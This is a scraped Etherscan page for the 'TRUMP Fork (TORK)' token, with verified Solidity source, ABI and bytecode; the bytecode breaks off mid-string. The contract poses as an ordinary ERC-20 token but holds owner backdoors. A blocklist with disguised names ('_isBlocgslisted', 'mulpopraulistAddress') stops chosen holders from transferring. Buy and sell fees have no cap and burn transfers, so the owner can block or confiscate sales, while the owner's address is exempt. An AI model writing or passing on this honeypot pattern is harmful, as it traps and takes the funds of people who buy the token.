ETH Price: $3,418.95 (-0.63%)
Gas: 3 Gwei

Token

TRUMP Fork (TORK)
 

Overview

Max Total Supply

50,000,000 TORK

Holders

386

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
107,010.154091842171608207 TORK

Value
$0.00
0x93ed3a317452853cff181305360d53f93370138a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPForkToken

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-12
*/

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.8;

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
      uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(),
          "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }


    function sub(  uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,  uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}


pragma solidity ^0.8.8;


contract TRUMPForkToken is IERC20, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;
    IUniswapV2Router02 _uniswapV2Router;
    mapping(address => bool) public _isBlocgslisted;
    
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address owner_
    ) payable {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _totalSupply = totalSupply_ * 10**18;
        isExcludedFromFee[owner_] = true;
        _balances[owner_] = _balances[owner_].add(_totalSupply);
        emit Transfer(address(0), owner_, _totalSupply);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(   sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;  }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,  uint256 amount
    ) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!_isBlocgslisted[sender], "Blocgslisted");

        _balances[sender] = _balances[sender].sub(amount,"ERC20: transfer amount exceeds balance");
        
        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                        amount : takeFee(sender, recipient, amount);

        _balances[recipient] = _balances[recipient].add(finalAmount);
        emit Transfer(sender, recipient, finalAmount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function mulpopraulistAddress(address[] calldata accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isBlocgslisted[accounts[i]] = excluded;
        }
    }


    function setBuyDestFee(uint256 newBuyDestroyFee) public onlyOwner {
        _totalTaxIfBuying = newBuyDestroyFee;
    }

    function setSellDestFee(uint256 newSellDestroyFee) public onlyOwner {
        _totalTaxIfSelling = newSellDestroyFee;
    }

    function createLpPool() public onlyOwner {
        
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        if(pair == address(0)){
            uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        }

    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(uniswapPair == sender) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(uniswapPair == recipient) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(0)].add(feeAmount);
            emit Transfer(sender, address(0), feeAmount);
        }

        return amount.sub(feeAmount);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"address","name":"owner_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlocgslisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLpPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"mulpopraulistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyDestroyFee","type":"uint256"}],"name":"setBuyDestFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellDestroyFee","type":"uint256"}],"name":"setSellDestFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526000600a556000600b55604051620031383803806200313883398181016040528101906200003391906200064d565b62000053620000476200027c60201b60201c565b6200028460201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360049080519060200190620000c092919062000360565b508260059080519060200190620000d992919062000360565b506012600660006101000a81548160ff021916908360ff160217905550670de0b6b3a7640000826200010c91906200072c565b6007819055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001c5600754600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034860201b6200139c1790919060201c565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200026a91906200079e565b60405180910390a3505050506200087d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183620003589190620007bb565b905092915050565b8280546200036e9062000847565b90600052602060002090601f016020900481019282620003925760008555620003de565b82601f10620003ad57805160ff1916838001178555620003de565b82800160010185558215620003de579182015b82811115620003dd578251825591602001919060010190620003c0565b5b509050620003ed9190620003f1565b5090565b5b808211156200040c576000816000905550600101620003f2565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000479826200042e565b810181811067ffffffffffffffff821117156200049b576200049a6200043f565b5b80604052505050565b6000620004b062000410565b9050620004be82826200046e565b919050565b600067ffffffffffffffff821115620004e157620004e06200043f565b5b620004ec826200042e565b9050602081019050919050565b60005b8381101562000519578082015181840152602081019050620004fc565b8381111562000529576000848401525b50505050565b6000620005466200054084620004c3565b620004a4565b90508281526020810184848401111562000565576200056462000429565b5b62000572848285620004f9565b509392505050565b600082601f83011262000592576200059162000424565b5b8151620005a48482602086016200052f565b91505092915050565b6000819050919050565b620005c281620005ad565b8114620005ce57600080fd5b50565b600081519050620005e281620005b7565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200061582620005e8565b9050919050565b620006278162000608565b81146200063357600080fd5b50565b60008151905062000647816200061c565b92915050565b600080600080608085870312156200066a57620006696200041a565b5b600085015167ffffffffffffffff8111156200068b576200068a6200041f565b5b62000699878288016200057a565b945050602085015167ffffffffffffffff811115620006bd57620006bc6200041f565b5b620006cb878288016200057a565b9350506040620006de87828801620005d1565b9250506060620006f18782880162000636565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200073982620005ad565b91506200074683620005ad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007825762000781620006fd565b5b828202905092915050565b6200079881620005ad565b82525050565b6000602082019050620007b560008301846200078d565b92915050565b6000620007c882620005ad565b9150620007d583620005ad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200080d576200080c620006fd565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200086057607f821691505b6020821081141562000877576200087662000818565b5b50919050565b6128ab806200088d6000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c8063865541e7116100de578063c816841b11610097578063f1125f4611610071578063f1125f4614610478578063f2fde38b14610494578063f744bf22146104b0578063fa008d1b146104cc57610173565b8063c816841b1461040c578063dd62ed3e1461042a578063f0cd1dac1461045a57610173565b8063865541e7146103385780638da5cb5b1461035457806395d89b4114610372578063a457c2d714610390578063a9059cbb146103c0578063c492f046146103f057610173565b8063313ce56711610130578063313ce5671461026257806339509351146102805780635342acb4146102b057806370a08231146102e0578063715018a61461031057806382eefb431461031a57610173565b806306fdde0314610178578063095ea7b3146101965780631694505e146101c657806318160ddd146101e457806323b872dd14610202578063253f501c14610232575b600080fd5b6101806104d6565b60405161018d9190611d80565b60405180910390f35b6101b060048036038101906101ab9190611e40565b610568565b6040516101bd9190611e9b565b60405180910390f35b6101ce610586565b6040516101db9190611f15565b60405180910390f35b6101ec6105ac565b6040516101f99190611f3f565b60405180910390f35b61021c60048036038101906102179190611f5a565b6105b6565b6040516102299190611e9b565b60405180910390f35b61024c60048036038101906102479190611fad565b61068f565b6040516102599190611e9b565b60405180910390f35b61026a6106af565b6040516102779190611ff6565b60405180910390f35b61029a60048036038101906102959190611e40565b6106c6565b6040516102a79190611e9b565b60405180910390f35b6102ca60048036038101906102c59190611fad565b610779565b6040516102d79190611e9b565b60405180910390f35b6102fa60048036038101906102f59190611fad565b610799565b6040516103079190611f3f565b60405180910390f35b6103186107e2565b005b61032261086a565b60405161032f9190611f3f565b60405180910390f35b610352600480360381019061034d9190612011565b610870565b005b61035c6108f6565b604051610369919061204d565b60405180910390f35b61037a61091f565b6040516103879190611d80565b60405180910390f35b6103aa60048036038101906103a59190611e40565b6109b1565b6040516103b79190611e9b565b60405180910390f35b6103da60048036038101906103d59190611e40565b610a7e565b6040516103e79190611e9b565b60405180910390f35b61040a600480360381019061040591906120f9565b610a9c565b005b610414610bbd565b604051610421919061204d565b60405180910390f35b610444600480360381019061043f9190612159565b610be3565b6040516104519190611f3f565b60405180910390f35b610462610c6a565b60405161046f9190611f3f565b60405180910390f35b610492600480360381019061048d91906120f9565b610c70565b005b6104ae60048036038101906104a99190611fad565b610d91565b005b6104ca60048036038101906104c59190612011565b610e89565b005b6104d4610f0f565b005b6060600480546104e5906121c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610511906121c8565b801561055e5780601f106105335761010080835404028352916020019161055e565b820191906000526020600020905b81548152906001019060200180831161054157829003601f168201915b5050505050905090565b600061057c6105756113b2565b84846113ba565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600754905090565b60006105c3848484611585565b610684846105cf6113b2565b61067f8560405180606001604052806028815260200161282960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106356113b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c9092919063ffffffff16565b6113ba565b600190509392505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600660009054906101000a900460ff16905090565b600061076f6106d36113b2565b8461076a85600260006106e46113b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c90919063ffffffff16565b6113ba565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea6113b2565b73ffffffffffffffffffffffffffffffffffffffff166108086108f6565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085590612246565b60405180910390fd5b61086860006119b1565b565b600b5481565b6108786113b2565b73ffffffffffffffffffffffffffffffffffffffff166108966108f6565b73ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390612246565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461092e906121c8565b80601f016020809104026020016040519081016040528092919081815260200182805461095a906121c8565b80156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b6000610a746109be6113b2565b84610a6f8560405180606001604052806025815260200161285160259139600260006109e86113b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c9092919063ffffffff16565b6113ba565b6001905092915050565b6000610a92610a8b6113b2565b8484611585565b6001905092915050565b610aa46113b2565b73ffffffffffffffffffffffffffffffffffffffff16610ac26108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612246565b60405180910390fd5b60005b83839050811015610bb7578160036000868685818110610b3e57610b3d612266565b5b9050602002016020810190610b539190611fad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610baf906122c4565b915050610b1b565b50505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b610c786113b2565b73ffffffffffffffffffffffffffffffffffffffff16610c966108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390612246565b60405180910390fd5b60005b83839050811015610d8b5781600d6000868685818110610d1257610d11612266565b5b9050602002016020810190610d279190611fad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d83906122c4565b915050610cef565b50505050565b610d996113b2565b73ffffffffffffffffffffffffffffffffffffffff16610db76108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0490612246565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061237f565b60405180910390fd5b610e86816119b1565b50565b610e916113b2565b73ffffffffffffffffffffffffffffffffffffffff16610eaf6108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90612246565b60405180910390fd5b80600b8190555050565b610f176113b2565b73ffffffffffffffffffffffffffffffffffffffff16610f356108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290612246565b60405180910390fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff557600080fd5b505afa158015611009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102d91906123b4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e991906123b4565b6040518363ffffffff1660e01b81526004016111069291906123e1565b60206040518083038186803b15801561111e57600080fd5b505afa158015611132573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115691906123b4565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f557600080fd5b505afa158015611209573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122d91906123b4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b157600080fd5b505afa1580156112c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e991906123b4565b6040518363ffffffff1660e01b81526004016113069291906123e1565b602060405180830381600087803b15801561132057600080fd5b505af1158015611334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135891906123b4565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081836113aa919061240a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611421906124d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149190612564565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115789190611f3f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906125f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90612688565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e9906126f4565b60405180910390fd5b61175e8160405180606001604052806026815260200161280360269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118445750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61185857611853848484611a75565b61185a565b815b90506118ae81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161194e9190611f3f565b60405180910390a350505050565b60008383111582906119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9190611d80565b6